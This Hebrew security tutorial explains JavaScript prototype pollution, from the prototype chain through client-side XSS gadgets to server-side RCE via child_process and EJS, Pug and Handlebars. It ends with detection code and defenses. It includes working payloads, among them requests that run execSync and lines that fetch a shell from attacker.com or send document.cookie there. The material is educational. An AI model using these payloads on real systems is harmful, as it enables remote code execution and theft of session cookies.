זיהום פרוטוטייפ - Prototype Pollution¶
שרשרת הפרוטוטייפ ב-JavaScript¶
ב-JavaScript, כל אובייקט יורש מאובייקט אב דרך שרשרת הפרוטוטייפ (prototype chain). כאשר ניגשים לתכונה של אובייקט, המנוע מחפש אותה קודם באובייקט עצמו, ואם לא נמצאה - עולה בשרשרת הפרוטוטייפ עד ל-Object.prototype.
let obj = {};
console.log(obj.toString); // נמצא ב-Object.prototype
// שרשרת הפרוטוטייפ
// obj -> Object.prototype -> null
let arr = [];
// arr -> Array.prototype -> Object.prototype -> null
הגישה ל-prototype של אובייקט:
let obj = {};
// שלוש דרכים לגשת לפרוטוטייפ
obj.__proto__ // הדרך הישנה
Object.getPrototypeOf(obj) // הדרך המודרנית
obj.constructor.prototype // דרך ה-constructor
מהו זיהום פרוטוטייפ - Prototype Pollution¶
זיהום פרוטוטייפ מתרחש כאשר תוקף מצליח לשנות את Object.prototype, ובכך משפיע על כל האובייקטים במערכת:
// זיהום בסיסי
let obj = {};
obj.__proto__.isAdmin = true;
// עכשיו כל אובייקט חדש "יורש" את isAdmin
let user = {};
console.log(user.isAdmin); // true!
let config = {};
console.log(config.isAdmin); // true!
זיהום פרוטוטייפ בצד הלקוח¶
זיהום דרך פרמטרי URL¶
אתרים רבים מפרסרים פרמטרים מה-URL לתוך אובייקט:
// פונקציה פגיעה לפרסור פרמטרים
function parseParams(url) {
let params = new URLSearchParams(url);
let result = {};
for (let [key, value] of params) {
setValue(result, key, value);
}
return result;
}
function setValue(obj, key, value) {
let keys = key.split('.');
let current = obj;
for (let i = 0; i < keys.length - 1; i++) {
if (!current[keys[i]]) current[keys[i]] = {};
current = current[keys[i]];
}
current[keys[keys.length - 1]] = value;
}
נתיב תקיפה:
https://example.com/page?__proto__.isAdmin=true
https://example.com/page?constructor.prototype.isAdmin=true
זיהום דרך JSON.parse עם פעולות מיזוג¶
// פונקציית merge פגיעה
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// JSON שנשלח על ידי התוקף
let maliciousJSON = '{"__proto__": {"isAdmin": true}}';
let parsed = JSON.parse(maliciousJSON);
let config = {};
merge(config, parsed);
// עכשיו כל אובייקט מזוהם
let user = {};
console.log(user.isAdmin); // true
זיהום דרך פונקציות deep merge/extend/clone¶
ספריות רבות מכילות פונקציות מיזוג עמוק פגיעות:
// lodash (גרסאות ישנות) - _.merge, _.defaultsDeep
const _ = require('lodash');
let target = {};
_.merge(target, JSON.parse('{"__proto__": {"polluted": true}}'));
// jQuery (גרסאות ישנות) - $.extend
$.extend(true, {}, JSON.parse('{"__proto__": {"polluted": true}}'));
// אימות הזיהום
let test = {};
console.log(test.polluted); // true
מציאת gadgets בספריות¶
gadget הוא קוד קיים שמשתמש בתכונה מפרוטוטייפ בצורה שניתן לנצל:
// gadget ב-jQuery - מוסיף תכונות HTML מ-Object.prototype
// אם innerHTML מוגדר ב-Object.prototype, jQuery ישתמש בו
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';
// gadget ב-lodash template
Object.prototype.sourceURL = '\n;alert(1)//';
// gadget נפוץ - data-* attributes
Object.prototype['data-template'] = '<img src=x onerror=alert(1)>';
זיהום פרוטוטייפ ל-XSS¶
שרשור מלא מזיהום ל-XSS:
// שלב 1: זיהום דרך URL
// https://example.com/page?__proto__[transport_url]=data:,alert(1)//
// שלב 2: הקוד הפגיע בדף
let config = {};
// config.transport_url לא מוגדר, אז JavaScript עולה בשרשרת הפרוטוטייפ
let scriptUrl = config.transport_url || '/default/transport.js';
// שלב 3: טעינת הסקריפט
let s = document.createElement('script');
s.src = scriptUrl; // data:,alert(1)//
document.body.appendChild(s);
דוגמה נוספת עם innerHTML:
// זיהום
// ?__proto__[innerText]=<img/src/onerror=alert(1)>
// gadget - קוד שקורא תכונה ומשתמש בה
function renderWidget(element, options) {
let html = options.template || element.innerText;
element.innerHTML = html; // XSS!
}
זיהום פרוטוטייפ בצד השרת - Node.js¶
זיהום דרך פרסור JSON body¶
// שרת Express עם פונקציית merge פגיעה
const express = require('express');
const app = express();
app.use(express.json());
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
app.post('/api/update', (req, res) => {
let settings = {};
merge(settings, req.body); // פגיע!
res.json({ status: 'updated' });
});
בקשת תקיפה:
דריסת קוד סטטוס - Status Code Override¶
טכניקה לזיהוי זיהום פרוטוטייפ בצד שרת:
אם Express משתמש ב-res.status(obj.status || 200) ו-obj.status לא מוגדר, הוא יקרא מהפרוטוטייפ ויחזיר סטטוס 555.
דריסת JSON spaces לזיהוי¶
אם Express משתמש ב-res.json(), הוא ישתמש ב-json spaces מהפרוטוטייפ וה-JSON בתגובה יהיה עם 10 רווחים במקום ברירת המחדל.
דריסת charset¶
POST /api/update HTTP/1.1
Content-Type: application/json
{
"__proto__": {
"content-type": "application/json; charset=utf-7"
}
}
זיהום פרוטוטייפ ל-RCE¶
הזרקת משתני סביבה דרך child_process¶
// זיהום
Object.prototype.env = {
NODE_OPTIONS: '--require=/proc/self/environ'
};
Object.prototype.shell = true;
// כאשר הקוד מריץ child_process
const { execSync } = require('child_process');
execSync('ls'); // משתמש ב-env ו-shell מהפרוטוטייפ
תקיפה מלאה:
POST /api/update HTTP/1.1
Content-Type: application/json
{
"__proto__": {
"shell": "node",
"NODE_OPTIONS": "--require /proc/self/cmdline"
}
}
הזרקה דרך child_process.execSync/spawn¶
// זיהום
Object.prototype.shell = true;
Object.prototype.argv0 = "node -e require('child_process').execSync('curl attacker.com/shell|sh')";
// או
Object.prototype.env = {
"BASH_FUNC_echo%%": "() { id; }"
};
gadgets במנועי תבניות - Template Engines¶
EJS (Embedded JavaScript)¶
POST /api/update HTTP/1.1
Content-Type: application/json
{
"__proto__": {
"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"
}
}
כאשר EJS מרנדר תבנית, הוא משתמש ב-outputFunctionName ומזריק את הקוד:
// הקוד שנוצר בתוך EJS
var x;process.mainModule.require('child_process').execSync('id');s = '';
// ... RCE!
Pug¶
POST /api/update HTTP/1.1
Content-Type: application/json
{
"__proto__": {
"block": {
"type": "Text",
"val": "x]});process.mainModule.require('child_process').execSync('id');//"
}
}
}
Handlebars¶
POST /api/update HTTP/1.1
Content-Type: application/json
{
"__proto__": {
"main": "\n} };\nprocess.mainModule.require('child_process').execSync('id');\n//",
"layout": true
}
}
פונקציית מיזוג פגיעה - ניתוח מפורט¶
// פונקציה פגיעה
function isObject(obj) {
return obj !== null && typeof obj === 'object';
}
function deepMerge(target, source) {
for (let key in source) {
// הבעיה: לא בודקים אם key הוא __proto__ או constructor
if (isObject(source[key])) {
if (!isObject(target[key])) {
target[key] = {};
}
deepMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
// ניצול
let malicious = JSON.parse('{"__proto__": {"polluted": "yes"}}');
let obj = {};
deepMerge(obj, malicious);
console.log({}.polluted); // "yes" - כל האובייקטים מזוהמים!
שרשרת ניצול מלאה - צד לקוח¶
// שלב 1: מציאת injection point
// URL: https://vulnerable.com/page?__proto__[transport_url]=//attacker.com/evil.js
// שלב 2: הקוד הפגיע מפרסר את ה-URL
function getConfig() {
let params = new URLSearchParams(location.search);
let config = {};
for (let [key, value] of params) {
let keys = key.replace(/\]/g, '').split('[');
let current = config;
for (let i = 0; i < keys.length - 1; i++) {
if (!current[keys[i]]) current[keys[i]] = {};
current = current[keys[i]];
}
current[keys[keys.length - 1]] = value;
}
return config;
}
// שלב 3: gadget שטוען סקריפט
function initAnalytics(config) {
let url = config.analyticsUrl; // undefined, עולה לפרוטוטייפ
if (url) {
let script = document.createElement('script');
script.src = url;
document.head.appendChild(script);
}
}
// שלב 4: evil.js בשרת התוקף
// fetch('https://attacker.com/steal?cookie=' + document.cookie)
שרשרת ניצול מלאה - צד שרת¶
// שלב 1: מציאת endpoint עם merge
// POST /api/profile
// שלב 2: זיהום הפרוטוטייפ
// {"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('curl attacker.com/shell.sh|bash');s"}}
// שלב 3: טריגר - כאשר EJS מרנדר דף
// GET /dashboard -> EJS render -> RCE
// שלב 4: reverse shell מגיע לשרת התוקף
טכניקות זיהוי - Detection¶
בדיקת property descriptors¶
// בדיקה האם הפרוטוטייפ זוהם
function checkPollution() {
let testObj = {};
let suspicious = [];
for (let key in testObj) {
if (testObj.hasOwnProperty(key) === false) {
// תכונה שלא שייכת לאובייקט עצמו - חשודה
if (!['toString', 'valueOf', 'hasOwnProperty', 'constructor',
'isPrototypeOf', 'propertyIsEnumerable', 'toLocaleString',
'__defineGetter__', '__defineSetter__', '__lookupGetter__',
'__lookupSetter__', '__proto__'].includes(key)) {
suspicious.push(key);
}
}
}
return suspicious;
}
console.log(checkPollution()); // ['isAdmin', 'polluted', ...]
סריקה אוטומטית¶
// סקריפט לבדיקת זיהום פרוטוטייפ דרך URL
async function testPrototypePollution(baseUrl, paramFormats) {
let formats = paramFormats || [
'__proto__[test]=polluted',
'__proto__.test=polluted',
'constructor[prototype][test]=polluted',
'constructor.prototype.test=polluted'
];
for (let format of formats) {
let url = `${baseUrl}?${format}`;
console.log(`[*] Testing: ${url}`);
// שלח בקשה ובדוק אם הפרוטוטייפ זוהם
}
}
הגנה¶
שימוש ב-Object.create(null)¶
// אובייקט ללא פרוטוטייפ - חסין לזיהום
let safeObj = Object.create(null);
console.log(safeObj.__proto__); // undefined
הקפאת Object.prototype¶
// מונע שינויים ב-Object.prototype
Object.freeze(Object.prototype);
let obj = {};
obj.__proto__.polluted = true;
console.log({}.polluted); // undefined - ההקפאה מנעה את הזיהום
ולידציית קלט¶
// פונקציית merge בטוחה
function safeMerge(target, source) {
for (let key of Object.keys(source)) {
// חסימת מפתחות מסוכנים
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue;
}
if (typeof source[key] === 'object' && source[key] !== null && !Array.isArray(source[key])) {
if (typeof target[key] !== 'object') {
target[key] = {};
}
safeMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
שימוש ב-Map במקום אובייקט רגיל¶
// Map לא פגיע לזיהום פרוטוטייפ
let config = new Map();
config.set('isAdmin', false);
console.log(config.get('isAdmin')); // false - לא מושפע מפרוטוטייפ
סיכום¶
זיהום פרוטוטייפ הוא חולשה ייחודית ל-JavaScript שמנצלת את מנגנון הירושה של השפה. בצד הלקוח, ניתן להגיע ל-XSS דרך gadgets ב-DOM. בצד השרת ב-Node.js, ניתן להגיע ל-RCE דרך מנועי תבניות ו-child_process. ההגנה דורשת שילוב של ולידציית קלט, שימוש ב-Object.create(null), והקפאת Object.prototype.